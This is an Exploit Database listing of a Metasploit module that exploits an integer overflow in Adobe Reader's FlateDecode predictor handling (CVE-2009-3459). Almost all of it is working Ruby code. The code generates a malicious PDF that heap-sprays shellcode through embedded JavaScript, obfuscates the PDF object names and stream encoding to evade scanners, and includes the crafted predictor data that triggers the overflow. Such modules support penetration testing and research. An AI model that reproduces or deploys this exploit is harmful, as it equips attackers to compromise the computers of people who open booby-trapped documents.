Adobe – FlateDecode Stream Predictor 02 Integer Overflow (Metasploit) (2)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16652/

• ##
  # $Id: adobe_flatedecode_predictor02.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
  			'Description'=> %q{
  					This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
  				Acrobat Professional versions before 9.2.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'unknown', # Found in the wild
  					# Metasploit version by:
  					'jduck'
  				],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-3459' ],
  					[ 'BID', '36600' ],
  					[ 'OSVDB', '58729' ],
  					[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],
  					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ],
  					[ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00",
  					'DisableNops'	 => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# test results (on Windows XP SP3)
  					# reader 7.0.5 - untested
  					# reader 7.0.8 - untested
  					# reader 7.0.9 - untested
  					# reader 7.1.0 - untested
  					# reader 7.1.1 - untested
  					# reader 8.0.0 - untested
  					# reader 8.1.2 - untested
  					# reader 8.1.3 - untested
  					# reader 8.1.4 - untested
  					# reader 8.1.5 - untested
  					# reader 8.1.6 - untested
  					# reader 9.0.0 - untested
  					# reader 9.1.0 - works!
  					# reader 9.2 - not vulnerable
  					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
  						{
  							'Size'		=> ((1024*1024) - 32)
  						}
  					],
  				],
  			'DisclosureDate' => 'Oct 08 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		# Encode the shellcode.
  		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  		# Make some nops
  		nops= Rex::Text.to_unescape(make_nops(4))
  
  		# Randomize variables
  		rand1= rand_text_alpha(rand(100) + 1)
  		rand2= rand_text_alpha(rand(100) + 1)
  
  		script = %Q|
  var #{rand1} = unescape("#{shellcode}");
  var #{rand2} = unescape("#{nops}");
  while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
  #{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
  memory = new Array();
  for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
  |
  		# Create the pdf
  		pdf = make_pdf(script)
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(pdf)
  
  	end
  
  
  	def RandomNonASCIIString(count)
  		result = ""
  		count.times do
  			result << (rand(128) + 128).chr
  		end
  		result
  	end
  
  	def ioDef(id)
  		"%d 0 obj" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  
  	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  	def nObfu(str)
  		result = ""
  		str.scan(/./u) do |c|
  			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
  				result << "#%x" % c.unpack("C*")[0]
  			else
  				result << c
  			end
  		end
  		result
  	end
  
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  
  	def make_flate_data()
  
  		# NOTE: this data is from the original, in-the-wild exploit...
  		# on 9.1.0 xpsp3, this causes a crash executing 0x70000000
  		# that's not exactly a fun address to try to heap spray to
  		bpc = 1
  		data = "\x00\x00\x20\x00\x00\x00\x10"
  
  		# this way, we can adjust dwords on the heap by 8-bits of data..
  		# this leads to eip being around 0x1000xxxx, much more friendly
  		bpc = 8
  		addend = 9
  		data = "\x00" * 64
  		data[18,1] = [addend].pack('C')
  		data[51,1] = [addend].pack('C')
  
  		return bpc, data
  	end
  
  
  	def make_pdf(js)
  
  		xref = []
  		eol = "\x0d\x0a"
  		endobj = "endobj" << eol
  
  		# Randomize PDF version?
  		pdf = "%PDF-1.5" << eol
  		pdf << "%" << RandomNonASCIIString(4) << eol
  
  		xref << pdf.length
  		pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2)
  		pdf << nObfu("/Pages ") << ioRef(3)
  		pdf << nObfu("/OpenAction ") << ioRef(5)
  		pdf << ">>" << endobj
  
  		xref << pdf.length
  		pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  
  		xref << pdf.length
  		pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  
  		xref << pdf.length
  		pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7)
  		pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  
  		xref << pdf.length
  		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
  
  		xref << pdf.length
  		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << endobj
  
  		# generate data for inside the flate'd stream
  		bits_per_component, data = make_flate_data()
  		compressed = Zlib::Deflate.deflate(data)
  
  		xref << pdf.length
  		pdf << ioDef(7) << nObfu("<</DecodeParms")
  		pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
  		pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << endobj
  
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  		pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  
  	end
  
  end